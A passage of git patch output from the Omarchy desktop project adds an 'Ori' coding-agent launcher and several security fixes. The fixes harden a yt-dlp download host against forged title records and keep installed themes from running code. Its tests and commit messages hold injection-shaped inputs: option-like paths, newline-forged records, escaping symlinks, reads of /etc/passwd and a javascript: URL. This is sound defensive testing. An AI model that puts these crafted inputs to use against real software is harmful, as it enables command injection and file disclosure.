"$ori_package ori" "$stub_log" >/dev/null || fail "user setup creates the Ori lazy stub" pass "user setup creates the custom agent lazy stubs" : >"$stub_log" source "$ROOT/migrations/1785617047.sh" >/dev/null grep -Fx "$omp_package omp" "$stub_log" >/dev/null || fail "Oh My Pi migration creates a working lazy stub" +: >"$stub_log" +source "$ROOT/migrations/1787342993.sh" >/dev/null +grep -Fx "$ori_package ori" "$stub_log" >/dev/null || fail "Ori migration creates a working lazy stub" + : >"$stub_log" source "$ROOT/migrations/1785846769.sh" >/dev/null grep -Fx "$omp_package omp" "$stub_log" >/dev/null || fail "agent migration repairs the Oh My Pi lazy stub" @@ -208,6 +215,7 @@ touch "$test_home/.local/state/omarchy/preinstalls-removed" : >"$stub_log" source "$ROOT/migrations/1785617047.sh" >/dev/null source "$ROOT/migrations/1785846769.sh" >/dev/null +source "$ROOT/migrations/1787342993.sh" >/dev/null [[ ! -s $stub_log ]] || fail "agent migrations respect the preinstall opt-out" [[ ! -e $test_home/.local/bin/omp ]] || fail "agent migration removes the obsolete Oh My Pi wrapper after opt-out" @@ -232,9 +240,9 @@ rm "$test_home/.local/state/omarchy/preinstalls-removed" rm -f "$agent_file" pass "agent migrations install working wrappers without overriding the preinstall opt-out" -touch "$test_home/.local/bin/agy" +touch "$test_home/.local/bin/agy" "$test_home/.local/bin/ori" omarchy-remove-preinstalls >/dev/null -for command in agy omp grok crush; do +for command in agy omp ori grok crush; do [[ ! -e $test_home/.local/bin/$command ]] || fail "Remove Preinstalls deletes the $command lazy stub" done pass "Remove Preinstalls deletes every optional agent lazy stub" @@ -285,6 +293,8 @@ declare -A expected_agents=( [oh-my-pi]="omp" [opencode]="opencode" [open-code]="opencode" + [ori]="ori" + [openrouter]="ori" [claude]="claude" [claude-code]="claude" [codex]="codex" @@ -303,6 +313,7 @@ declare -A expected_packages=( [pi]="pi" [omp]="$omp_package" [opencode]="opencode" + [ori]="$ori_package" [claude]="claude" [codex]="codex" [crush]="$crush_package" @@ -446,6 +457,7 @@ assert_bypass() { assert_launch pi pi "Review this project" assert_launch omp omp --auto-approve -- "Review this project" assert_launch opencode opencode --auto --prompt "Review this project" +assert_launch ori ori code --prompt "Review this project" assert_launch claude claude --permission-mode auto -- "Review this project" assert_launch codex codex --approve-for-me -- "Review this project" assert_launch crush crush run "Review this project" @@ -457,6 +469,7 @@ pass "agent launcher adapts initial prompts for every supported agent" assert_bypass pi pi assert_bypass omp omp --auto-approve assert_bypass opencode opencode --auto +assert_bypass ori ori code assert_bypass claude claude --permission-mode auto assert_bypass codex codex --approve-for-me assert_bypass crush crush --yolo diff --git a/test/shell.d/menu-test.sh b/test/shell.d/menu-test.sh index 236831c3..b3394678 100644 --- a/test/shell.d/menu-test.sh +++ b/test/shell.d/menu-test.sh @@ -220,6 +220,7 @@ const expectedAgents = { pi: { icon: '\ue901', iconFont: 'omarchy', label: 'Pi' }, omp: { icon: '\ue903', iconFont: 'omarchy', label: 'omp' }, opencode: { icon: '\ue902', iconFont: 'omarchy', label: 'OpenCode' }, + ori: { icon: '\ue909', iconFont: 'omarchy', label: 'Ori' }, claude: { icon: '󰛄', label: 'Claude' }, codex: { icon: '\ue905', iconFont: 'omarchy', label: 'Codex' }, grok: { icon: '\ue904', iconFont: 'omarchy', label: 'Grok' }, @@ -243,7 +244,7 @@ assertDeepEqual( defaultItems .filter(item => item.parent === 'setup.default.agent') .map(item => item.label), - ['Antigravity', 'Claude', 'Codex', 'Copilot', 'Crush', 'Grok', 'omp', 'OpenCode', 'Pi'], + ['Antigravity', 'Claude', 'Codex', 'Copilot', 'Crush', 'Grok', 'omp', 'OpenCode', 'Ori', 'Pi'], 'menu sorts coding agents alphabetically' ) const expectedDefaults = { @@ -635,5 +636,5 @@ assert( JS font_charset=$(fc-query --format='%{charset}' "$ROOT/default/fonts/omarchy/omarchy.ttf") -[[ $font_charset == *"e900-e908"* ]] || fail "Omarchy icon font includes every custom menu glyph" +[[ $font_charset == *"e900-e909"* ]] || fail "Omarchy icon font includes every custom menu glyph" pass "Omarchy icon font includes the official agent marks" From 19266119ea827a13acefe0ac223d803a186d0e88 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 23 Aug 2026 11:49:20 +0200 Subject: [PATCH 013/336] Clipboard history needs to be bigger! --- shell/plugins/clipboard/Clipboard.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/shell/plugins/clipboard/Clipboard.qml b/shell/plugins/clipboard/Clipboard.qml index fde49b3f..d819f949 100644 --- a/shell/plugins/clipboard/Clipboard.qml +++ b/shell/plugins/clipboard/Clipboard.qml @@ -37,7 +37,7 @@ Item { property int cardWidth: Math.min(Style.space(875), panel.width - Style.gapsOut * 2) property int cardHeight: Math.min(Style.space(600), panel.height - Style.gapsOut * 2) property int rowHeight: Math.max(Style.space(50), Style.font.body + Style.font.caption + Style.spacing.rowPaddingX * 2) - property int historyLimit: 300 + property int historyLimit: 500 function open(payloadJson) { root.opened = true From b71c60fe3044fcb778b564819d99e5330d22e9f3 Mon Sep 17 00:00:00 2001 From: Adrian Rangel Date: Sun, 23 Aug 2026 08:18:38 -0600 Subject: [PATCH 014/336] [Security] Stop a video title from becoming the Download Video play command (#7847) * Stop a video title from becoming the Download Video play command The host parsed yt-dlp's after_move line as title plus path, so a newline in page metadata could forge the path. Clicking the toast then handed that value to mpv as options. Print only the real file, ignore anything that is not inside the download dir, and invoke mpv with --. * Refuse downloads whose video title contains control characters The hoodie page still offered a real hidden clip, so yt-dlp saved it even after the play-action fix. A title with newlines is not a legitimate name; abort before the download and tell the user it was refused. * Test the forged record in the order yt-dlp emits it The records ran forged-first and good-last, so the assertion measured recovery after bad records rather than preservation of an already-captured path when a forged record arrives afterwards. That is the shape a hostile title actually produces, because a title ending in a newline closes its own record and leaves the genuine path on a line the loop ignores. As written the assertion passed with resolve_download_file replaced by a no-op. Co-Authored-By: Claude Opus 5 (1M context) * Resolve the download path without dropping a trailing newline Command substitution strips trailing newlines, so an in-directory symlink pointing at a regular file whose name ends in one canonicalised to a different path -- which may itself exist -- and that path then passed the containment check and reached ffmpeg and the click command. Reading realpath's NUL-terminated output keeps the name intact, and a resolved path carrying a control character is refused outright. Not reachable through a yt-dlp download, since --restrict-filenames strips control characters from the name it writes; it is the helper's contract that was wrong. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Accept a download directory that resolves to / realpath returns "/" for the root directory, which made the containment pattern "//*" and rejected every file saved directly under it, so the host reported a failed download after saving the file. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Stop refusing a download because its title has control characters The gate cannot tell a hostile title from a legitimate one. --print emits one line per extracted video and --no-playlist does not collapse a multi_video result, so a page holding two clips arrives as two titles separated by a newline and is refused exactly like a forged record would be. It also guaranteed nothing it was read as guaranteeing. The simulate run and the download run are separate fetches, so a site is free to answer them differently, and the check never constrained the metadata the download actually used. What stands between a record and the click command is resolve_download_file, which is untouched here. Leaving a check that refuses valid pages while securing nothing invites the path validation to be relaxed later on the strength of it. A gate that would work is possible -- --print '%(title)j' encodes each title as JSON on its own line, which separates a newline in the metadata from a newline between videos -- but it belongs with a use for the title rather than as a bare refusal. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Disarm the legacy exec-before-download hook too --no-exec clears the modern --exec map but leaves --exec-before-download stored separately, and yt-dlp restores it as a before_dl postprocessor, so a hook configured in the user's yt-dlp config still ran during the download this host drives. The accompanying test runs download_url itself against stubbed tools. Everything else in this file exercises the helpers in isolation, which left the invocation uncovered: restoring the title to the record template, or dropping --no-exec or the trailing --, passed every assertion here. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Toast the page title again instead of the saved filename Deriving the toast text from the sanitised filename cost the title it was meant to show: "My Great Clip" arrived as "My_Great_Clip [My_Great_Clip]". The title is safe as notification text -- it is an argv element, never part of a command -- so the only question was getting it out of yt-dlp without reopening the record forgery. It now comes from the download run, so it describes the file that was actually saved, and it is printed as %(title)j. JSON-encoding is what makes that safe: a newline or tab in page metadata becomes an escape sequence inside one quoted string rather than a record boundary, so a title can no longer split itself across lines. The decoder keeps only what precedes the first control character, refuses anything notify-send would read as an option, and leaves the filename-derived title as the fallback when a page offers nothing usable. Co-Authored-By: Claude Opus 5 (1M context) * Name the saved file after the page title The download landed as "My_Great_Clip [My_Great_Clip].mp4" when the page called it "My Great Clip". --restrict-filenames was carrying more weight than it earns here: it folds spaces to underscores and strips non-ASCII, which is what mangles the name, and it is not what keeps the record stream safe. yt-dlp removes control characters from a filename either way -- a newline becomes a space, tabs and DEL and NUL are dropped -- so a path printed after the move is still only ever one line, which is the property resolve_download_file depends on. Dropping the [%(id)s] suffix is the other half of matching the title, and it trades away the uniqueness that suffix bought: two videos sharing a title now share a name, and yt-dlp skips a download whose file already exists, so the second one toasts as a failure. Restoring the suffix is a one-line change if that trade is the wrong way round. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: Omabot Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-chromium-ytdlp-host | 83 +++++++++-- test/shell.d/chromium-ytdlp-test.sh | 205 ++++++++++++++++++++++++++++ 2 files changed, 275 insertions(+), 13 deletions(-) diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index 49160240..ce50635a 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -25,6 +25,56 @@ valid_url() { [[ $1 =~ ^https?:// ]] } +# A printed path is only usable if it is a regular file inside DOWNLOAD_DIR. +# Forged records (leading-dash mpv options, paths with control chars, or +# anything that escaped the download directory) must not reach --exec. +resolve_download_file() { + local candidate=$1 file_real dir_real + + [[ -n $candidate ]] || return 1 + [[ $candidate != *$'\n'* && $candidate != *$'\r'* && $candidate != *$'\t'* ]] || return 1 + [[ -f $candidate ]] || return 1 + + # Read to a NUL: command substitution strips trailing newlines, which would + # resolve a name ending in one to a different file that may well exist. + IFS= read -r -d '' file_real < <(realpath -ze -- "$candidate") || return 1 + IFS= read -r -d '' dir_real < <(realpath -ze -- "$DOWNLOAD_DIR") || return 1 + + [[ $file_real != *$'\n'* && $file_real != *$'\r'* && $file_real != *$'\t'* ]] || return 1 + # Trim the slash so a download directory of "/" still leaves a usable prefix. + [[ $file_real == "${dir_real%/}"/* ]] || return 1 + + printf '%s' "$file_real" +} + +# yt-dlp prints the title JSON-encoded, so a newline or tab in page metadata is an +# escape sequence rather than a record boundary. This is toast text, never a command. +decode_title() { + local decoded + + decoded=$(jq -r 'if type == "string" then . else empty end' <<<"$1" 2>/dev/null) || return 1 + decoded=${decoded%%[[:cntrl:]]*} # keep what a person would read, drop the forgery + [[ -n $decoded && $decoded != -* ]] || return 1 + + printf '%s' "$decoded" +} + +title_from_file() { + local name=${1##*/} + name=${name%.*} + name=${name//[$'\n\r\t']/} + if [[ -z $name || $name == -* ]]; then + printf '%s' "Video" + else + printf '%s' "$name" + fi +} + +# `--` keeps a path that starts with `-` from being parsed as an mpv option. +playback_command() { + printf 'mpv -- %q' "$1" +} + # Drive the Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. osd_progress() { @@ -41,16 +91,19 @@ download_url() { mkdir -p "$DOWNLOAD_DIR" # Don't show anything until yt-dlp confirms there's actually a video to grab. - if ! yt-dlp --no-playlist --simulate --quiet --no-warnings "$url" >/dev/null 2>&1; then + if ! yt-dlp --no-playlist --simulate --quiet --no-warnings --no-exec --no-exec-before-download -- "$url" >/dev/null 2>&1; then omarchy-notification-send -u critical -g 󰅖 "No video found for download" "$url" exit 0 fi osd_progress 0 - # Stream the download: OMARCHY_PROG carries the percent (drives the OSD), - # OMARCHY_FILE (printed only after a successful move) carries title + path. - local line rest pct intpct last="" er nowms lastms=0 title="" filepath="" + # Stream the download: OMARCHY_PROG carries the percent (drives the OSD), and + # OMARCHY_FILE and OMARCHY_TITLE (printed only after a successful move) carry the + # path and the title. The title is JSON-encoded so metadata cannot forge a record, + # and the file is named after it: yt-dlp strips control characters from a filename + # with or without --restrict-filenames, so a record is still only ever one line. + local line pct intpct last="" er nowms lastms=0 title="" filepath="" resolved while IFS= read -r line; do case $line in OMARCHY_PROG*) @@ -67,22 +120,26 @@ download_url() { osd_progress "$intpct" ;; OMARCHY_FILE*) - rest=${line#OMARCHY_FILE$'\t'} - title=${rest%%$'\t'*} - filepath=${rest#*$'\t'} + resolved=$(resolve_download_file "${line#OMARCHY_FILE$'\t'}") || continue + filepath=$resolved + ;; + OMARCHY_TITLE*) + title=$(decode_title "${line#OMARCHY_TITLE$'\t'}") || title="" ;; esac - done < <(PYTHONUNBUFFERED=1 yt-dlp --no-playlist --restrict-filenames --no-simulate \ - --quiet --no-warnings --progress --newline \ + done < <(PYTHONUNBUFFERED=1 yt-dlp --no-playlist --no-simulate \ + --quiet --no-warnings --no-exec --no-exec-before-download --progress --newline \ --progress-template $'download:OMARCHY_PROG\t%(progress._percent_str)s' \ - --paths "$DOWNLOAD_DIR" -o '%(title)s [%(id)s].%(ext)s' \ - --print $'after_move:OMARCHY_FILE\t%(title)s\t%(filepath)s' \ - "$url" 2>&1) + --paths "$DOWNLOAD_DIR" -o '%(title)s.%(ext)s' \ + --print $'after_move:OMARCHY_FILE\t%(filepath)s' \ + --print $'after_move:OMARCHY_TITLE\t%(title)j' \ + -- "$url" 2>&1) osd_close # after_move only prints on a successful download+move, so a captured path == success. if [[ -n $filepath ]]; then + [[ -n $title ]] || title=$(title_from_file "$filepath") ((${#title} > 50)) && title="${title:0:50}…" # keep the toast compact # Square, center-cropped thumbnail so the notification preview isn't stretched. @@ -96,7 +153,7 @@ download_url() { # toast would exit before the thumbnail cleanup below is ever scheduled. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - --exec "$(printf 'mpv %q' "$filepath")" || true + --exec "$(playback_command "$filepath")" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 3e17cb86..4989df76 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -50,3 +50,208 @@ bash -c ' ' bash "$ROOT/bin/omarchy-chromium-ytdlp-host" "javascript:alert(1)" "$ROOT" && fail "yt-dlp native host rejects non-web URLs" pass "yt-dlp native host rejects non-web URLs" + +host_fn() { + OMARCHY_PATH="$ROOT" OMARCHY_YTDLP_DIR="${download_dir:-$TMPDIR}" bash -c ' + source "$1" + shift + "$@" + ' bash "$ROOT/bin/omarchy-chromium-ytdlp-host" "$@" +} + +download_dir="$TMPDIR/videos" +mkdir -p "$download_dir" "$TMPDIR/outside" +good_file="$download_dir/clip [id].mp4" +printf 'x' >"$good_file" +printf 'x' >"$TMPDIR/outside/secret" +ln -s "$TMPDIR/outside/secret" "$download_dir/escape.mp4" + +resolved=$(host_fn resolve_download_file "$good_file") +expected=$(realpath -e -- "$good_file") +[[ $resolved == "$expected" ]] || + fail "yt-dlp native host accepts a regular file in the download dir" "$resolved" +pass "yt-dlp native host accepts a regular file in the download dir" + +host_fn resolve_download_file "--include=not-a-file" && + fail "yt-dlp native host rejects a forged mpv option as the download path" +pass "yt-dlp native host rejects a forged mpv option as the download path" + +host_fn resolve_download_file "$TMPDIR/outside/secret" && + fail "yt-dlp native host rejects a path outside the download dir" +pass "yt-dlp native host rejects a path outside the download dir" + +host_fn resolve_download_file "$download_dir/escape.mp4" && + fail "yt-dlp native host rejects a symlink that escapes the download dir" +pass "yt-dlp native host rejects a symlink that escapes the download dir" + +host_fn resolve_download_file $'clip.mp4\nOMARCHY_FILE\t--include=not-a-file' && + fail "yt-dlp native host rejects a path containing control characters" +pass "yt-dlp native host rejects a path containing control characters" + +newline_target="$download_dir/target"$'\n' +printf 'x' >"$newline_target" +# The decoy is the point: dropping the trailing newline lands on a real, different +# file, so a resolver that strips it resolves to the wrong one instead of failing. +printf 'x' >"$download_dir/target" +ln -s "target"$'\n' "$download_dir/newline-link.mp4" + +host_fn resolve_download_file "$download_dir/newline-link.mp4" && + fail "yt-dlp native host rejects a symlink whose target name ends in a newline" +pass "yt-dlp native host rejects a symlink whose target name ends in a newline" + +ln -s / "$TMPDIR/root-link" +root_resolved=$(download_dir="$TMPDIR/root-link" host_fn resolve_download_file /etc/passwd) +[[ $root_resolved == "/etc/passwd" ]] || + fail "yt-dlp native host accepts a file when the download dir resolves to /" "$root_resolved" +pass "yt-dlp native host accepts a file when the download dir resolves to /" + +title=$(host_fn title_from_file "$good_file") +[[ $title == "clip [id]" ]] || fail "yt-dlp native host titles the toast from the filename" "$title" +pass "yt-dlp native host titles the toast from the filename" + +decoded_title=$(host_fn decode_title '"My Great Clip"') +[[ $decoded_title == "My Great Clip" ]] || + fail "yt-dlp native host shows the page title on the toast" "$decoded_title" +pass "yt-dlp native host shows the page title on the toast" + +forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not-a-file"') +[[ $forged_title == "Clip" ]] || + fail "yt-dlp native host keeps only the readable part of a forged title" "$forged_title" +pass "yt-dlp native host keeps only the readable part of a forged title" + +host_fn decode_title '"--include=not-a-file"' && + fail "yt-dlp native host refuses a title notify-send would read as an option" +pass "yt-dlp native host refuses a title notify-send would read as an option" + +host_fn decode_title 'null' && + fail "yt-dlp native host refuses a title that is not a JSON string" +pass "yt-dlp native host refuses a title that is not a JSON string" + +dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") +[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" +pass "yt-dlp native host does not pass a leading-dash title to notify-send" + +cmd=$(host_fn playback_command --include=not-a-file) +[[ $cmd == "mpv -- --include=not-a-file" ]] || + fail "yt-dlp native host runs mpv with -- before the path" "$cmd" +pass "yt-dlp native host runs mpv with -- before the path" + +spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4") +[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] || + fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd" +pass "yt-dlp native host shell-quotes the mpv path" + +parse_script="$TMPDIR/parse-ytdlp-lines.sh" +cat >"$parse_script" <<'EOF' +source "$1" +filepath="" +while IFS= read -r line; do + case $line in + OMARCHY_FILE*) + resolved=$(resolve_download_file "${line#OMARCHY_FILE$'\t'}") || continue + filepath=$resolved + ;; + esac +done +printf '%s' "$filepath" +EOF + +# A title that ends in a newline closes its own record, so the forged record is the +# last one and the real path lands on a line the loop ignores. +poisoned=$( + printf '%s\n' \ + $'OMARCHY_FILE\t'"$good_file" \ + $'OMARCHY_FILE\tPlay me\t--include=not-a-file' \ + $'\t'"$good_file" | + OMARCHY_PATH="$ROOT" OMARCHY_YTDLP_DIR="$download_dir" bash "$parse_script" "$ROOT/bin/omarchy-chromium-ytdlp-host" +) + +[[ $poisoned == "$expected" ]] || + fail "yt-dlp native host keeps a real file after a forged OMARCHY_FILE record" "$poisoned" +pass "yt-dlp native host keeps a real file after a forged OMARCHY_FILE record" + +# Everything above tests the helpers in isolation. Drive the real download_url with +# stubbed tools so the yt-dlp invocation and the toast's click command are covered +# too: a record template that carried the title again would pass every test above. +fake_root="$TMPDIR/fake" +mkdir -p "$fake_root/bin" +fake_dir="$TMPDIR/fake-videos" +mkdir -p "$fake_dir" +fake_file="$fake_dir/Real_Clip [id].mp4" +printf 'x' >"$fake_file" +ytdlp_argv="$TMPDIR/ytdlp-argv" +notify_argv="$TMPDIR/notify-argv" + +cat >"$fake_root/bin/yt-dlp" <<'EOF' +#!/bin/bash +printf '%s\n' "$*" >>"$YTDLP_ARGV_LOG" +for arg in "$@"; do + if [[ $arg == "--no-simulate" ]]; then + printf 'OMARCHY_FILE\t%s\n' "$YTDLP_FAKE_FILE" + [[ -n ${YTDLP_SKIP_TITLE:-} ]] || printf 'OMARCHY_TITLE\t%s\n' '"My Great Clip"' + exit 0 + fi +done +exit 0 +EOF + +cat >"$fake_root/bin/omarchy-notification-send" <<'EOF' +#!/bin/bash +printf '%s\n' "$*" >>"$NOTIFY_ARGV_LOG" +EOF + +for stub in omarchy-osd omarchy-shell ffmpeg; do + printf '#!/bin/bash\nexit 0\n' >"$fake_root/bin/$stub" +done +chmod +x "$fake_root/bin/"* + +YTDLP_ARGV_LOG="$ytdlp_argv" NOTIFY_ARGV_LOG="$notify_argv" YTDLP_FAKE_FILE="$fake_file" \ + OMARCHY_PATH="$fake_root" OMARCHY_YTDLP_DIR="$fake_dir" \ + bash -c ' + source "$1" + download_url "$2" + ' bash "$ROOT/bin/omarchy-chromium-ytdlp-host" "https://example.test/watch" >/dev/null 2>&1 + +(($(grep -c -- '--no-exec-before-download' "$ytdlp_argv") == 2)) || + fail "yt-dlp native host disarms configured exec hooks on both yt-dlp runs" "$(cat "$ytdlp_argv")" +pass "yt-dlp native host disarms configured exec hooks on both yt-dlp runs" + +# The stub answers with a title record whatever it is asked for, so assert the request +# as well as the reply: without this the template could be dropped and nothing notice. +grep -qF -- $'OMARCHY_TITLE\t%(title)j' "$ytdlp_argv" || + fail "yt-dlp native host asks for the title JSON-encoded" "$(cat "$ytdlp_argv")" +pass "yt-dlp native host asks for the title JSON-encoded" + +grep -qF -- "-o %(title)s.%(ext)s" "$ytdlp_argv" || + fail "yt-dlp native host names the saved file after the page title" "$(cat "$ytdlp_argv")" +pass "yt-dlp native host names the saved file after the page title" + +grep -q -- '--restrict-filenames' "$ytdlp_argv" && + fail "yt-dlp native host keeps spaces in the saved filename" "$(cat "$ytdlp_argv")" +pass "yt-dlp native host keeps spaces in the saved filename" + +grep -qF -- $'OMARCHY_FILE\t%(title)s' "$ytdlp_argv" && + fail "yt-dlp native host never prints the title into the file record" "$(cat "$ytdlp_argv")" +pass "yt-dlp native host never prints the title into the file record" + +grep -q -- "--exec mpv -- " "$notify_argv" || + fail "yt-dlp native host builds the click command as mpv -- " "$(cat "$notify_argv")" +pass "yt-dlp native host builds the click command as mpv -- " + +grep -qF -- "Download complete My Great Clip" "$notify_argv" || + fail "yt-dlp native host toasts the page title, not the sanitised filename" "$(cat "$notify_argv")" +pass "yt-dlp native host toasts the page title, not the sanitised filename" + +# A page that gives no usable title falls back to the filename rather than an empty toast. +: >"$notify_argv" +: >"$ytdlp_argv" +YTDLP_ARGV_LOG="$ytdlp_argv" NOTIFY_ARGV_LOG="$notify_argv" YTDLP_FAKE_FILE="$fake_file" \ + YTDLP_SKIP_TITLE=1 OMARCHY_PATH="$fake_root" OMARCHY_YTDLP_DIR="$fake_dir" \ + bash -c ' + source "$1" + download_url "$2" + ' bash "$ROOT/bin/omarchy-chromium-ytdlp-host" "https://example.test/watch" >/dev/null 2>&1 + +grep -qF -- "Download complete Real_Clip [id]" "$notify_argv" || + fail "yt-dlp native host falls back to the filename when no title record arrives" "$(cat "$notify_argv")" +pass "yt-dlp native host falls back to the filename when no title record arrives" From ef6d9e6605b121df15bf310e630e04f0c1119fc8 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sun, 23 Aug 2026 16:43:31 +0200 Subject: [PATCH 015/336] Stop an installed theme from running code (#7884) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Stop an installed theme from shipping code `omarchy theme install ` clones a stranger's git repository into ~/.config/omarchy/themes, and omarchy-theme-set then copied that whole directory into the staged theme. Most of the files in a staged theme are code rather than colour: Hyprland requires hyprland.lua and gum_env.lua from it at login, Neovim loads neovim.lua at startup, and alacritty.toml, kitty.conf, foot.ini and ghostty.conf each name the program the terminal launches. Installing a theme was the same act as running its author's code, and nothing on disk distinguishes an installed theme from one the user wrote. Stage only what a theme needs in order to be a theme: colors.toml, light.mode, the preview and unlock images, and image files under backgrounds/. Everything else is ignored, named on stderr, and generated from default/themed/*.tpl instead. Symlinks are never followed, because in an untrusted theme they point wherever the author chose. A theme older than colors.toml keeps its palette: its alacritty.toml is read for colours in a scratch directory and only the resulting colors.toml is staged, so the terminal config never lands. The filter belongs in omarchy-theme-set rather than in omarchy-theme-install because staging is the choke point. It also covers themes installed before this change, themes copied in by hand, and files a theme gains later through `omarchy theme update`. First-party themes under $OMARCHY_PATH/themes are unaffected. Per-theme overrides of a generated file are no longer available to user themes; the template at ~/.config/omarchy/themed/.tpl replaces that, and icons.theme is the one setting with no replacement. 🤖 Generated by Opus 5 in Claude Code. * Stop a theme URL or name being read as an option or a path Three paths in the theme commands took an attacker-shaped string straight into git, into basename, or into rm. `git clone "$REPO_URL"` passes the URL as the first positional argument, so a URL beginning with a dash is parsed as an option instead and the destination path becomes what git tries to clone. Pass `--` before the URL so a URL is always a URL. git also treats `::
` as a remote helper to run; git's own protocol.allow default already refuses `ext::`, so rejecting that shape here is a second line rather than the fix, and it keeps holding if that default ever moves. The helper name is a bare word at the very start of the URL, which is what the guard matches: an scp-style IPv6 host such as git@[2001:db8::1]:org/repo.git carries `::` of its own and still clones. `basename "$REPO_PATH" .git` has the same problem one step later, after the scp-style prefix has been stripped: `host:-s/foo.git` leaves basename reading `-s` as an option and returning `.git` as the theme name. Take the name with `--`. That name is then joined into a path that is about to be `rm -rf`'d, so a repo whose basename came out as `..` would take ~/.config/omarchy with it. omarchy-theme-remove had the same shape from its own argument, and omarchy-theme-set's sed/tr normalization does not stop a name containing a slash. Reject empty, anything starting with a dot, and anything containing `/` in all three, before the name reaches a path. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Codex XHigh * Re-stage the current theme for installs that already applied one Dropping a theme's code at staging time only takes effect the next time a theme is staged. An install that already applied an extra theme keeps that theme's hyprland.lua, gum_env.lua, neovim.lua and terminal configs in ~/.local/state/omarchy/current/theme, which Hyprland requires at login and the terminals include at launch, and nothing forces a theme change — so for those installs the fix would arrive whenever the user next happened to switch themes, which may be never. Re-stage once through omarchy-theme-refresh. First-party themes stage identically, so the cost for everyone else is a single retint during an update they are already running. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Codex XHigh * Stop a theme's unlock image republishing a file it points at omarchy-plymouth-set-by-theme reads unlock.png straight out of ~/.config/omarchy/themes, which is an installed theme's own directory and outside the staging filter, and hands the path to omarchy-plymouth-set. That path was copied twice into world-readable /usr/share — once by the user into the Plymouth theme, and once by `sudo cp` into the SDDM theme. A symlink there was followed both times, so a theme could name a file it cannot read and have root publish it. Refuse a symlinked logo, and copy the staged logo to SDDM instead of rereading the caller's path as root. The staged copy is made by the user, so nothing privileged opens a path the caller chose. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Codex XHigh * Limit only what an installed theme could run Two corrections to the rule this branch introduced, both narrowing it to what it was actually for. It applied to every theme under ~/.config/omarchy/themes, which swept up themes the user wrote themselves. Their machine, their file: a theme they wrote is theirs to fill however they like, and Omarchy's own themes were never in scope. Only a theme that came from someone else needs limiting, and the repo already knows which those are — omarchy-theme-extras calls a theme with a `.git` directory an extra and a symlink someone's working copy, because that is what `omarchy theme install` leaves behind when it clones. Use the same test. It was also an allowlist, which dropped files that carry nothing but colour and left theme authors worse off for no gain. Drop only what can run: any `*.lua`, since Hyprland requires a theme's hyprland.lua and gum_env.lua at login and Neovim loads neovim.lua at startup; the four terminal configs, since each names the program the terminal launches; and vscode.json, whose extension field reaches `code --install-extension` and a VS Code extension is arbitrary JavaScript. Everything else an installed theme ships is kept, so btop.theme, chromium.theme, helix.toml, icons.theme, keyboard.rgb and shell.toml go back to being the theme's to set. Symlinks are still dropped, now at any depth rather than only where an allowlist happened to look. A denylist is wrong the moment someone adds a template and does not think about it, so the decision is forced rather than remembered: the test fails on any default/themed/*.tpl whose output is recorded as neither code nor colour, and a new terminal or a new Lua-loading editor cannot be added without classifying it. What this does not cover, and is written down in docs/theming.md rather than implied: a theme shipped as an archive and unpacked by hand looks exactly like one the user wrote. `omarchy theme install` only takes git URLs, so the supported path is always filtered, but this marks where a theme came from and is not a sandbox. 🤖 Generated by Opus 5 in Claude Code. * Fix what the review found Four things, all confirmed against the source before changing anything. The migration failed permanently when the active theme had been removed. `omarchy theme remove` deletes the directory without repointing theme.name, so the name survives, the staged copy survives, and omarchy-theme-refresh exits 1 because neither source directory exists — leaving the migration pending forever and the stale staged Lua exactly where it was, which is the one thing it existed to remove. Seed the default theme in that case: there is nothing to re-stage from, and the removal should have left a working theme behind anyway. The staging test skipped the strict-mode header that docs/testing.md makes the contract for every shell test. Adding it means the patterns that fail on purpose have to stop being bare `cmd && fail` compounds, which errexit reads as the script itself failing; the mutations were re-run afterwards to confirm the assertions still fire rather than the run dying early and looking like something else. The guards in omarchy-theme-install and omarchy-theme-remove had no coverage — they were checked by hand and left that way. theme-install-guards-test.sh stubs git and the themes directory and proves an option-shaped URL, a transport helper, and a name that would climb out all stop before git or rm runs, that a dash inside the path no longer becomes a basename option, and that an ordinary URL still clones and applies. The new docs/theming.md prose was hard-wrapped, which AGENTS.md forbids for docs/. Unwrapped. The rest of that file is wrapped from before and is left alone rather than churned through this change. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh and Copilot. --------- Co-authored-by: Codex XHigh --- bin/omarchy-plymouth-set | 11 +- bin/omarchy-theme-install | 26 ++- bin/omarchy-theme-remove | 5 +- bin/omarchy-theme-set | 132 ++++++++++++- default/agents/skills/omarchy/theming.md | 23 +++ docs/theming.md | 29 ++- manual/43-making-your-own-theme.md | 12 ++ migrations/1787481315.sh | 25 +++ test/shell.d/plymouth-set-test.sh | 18 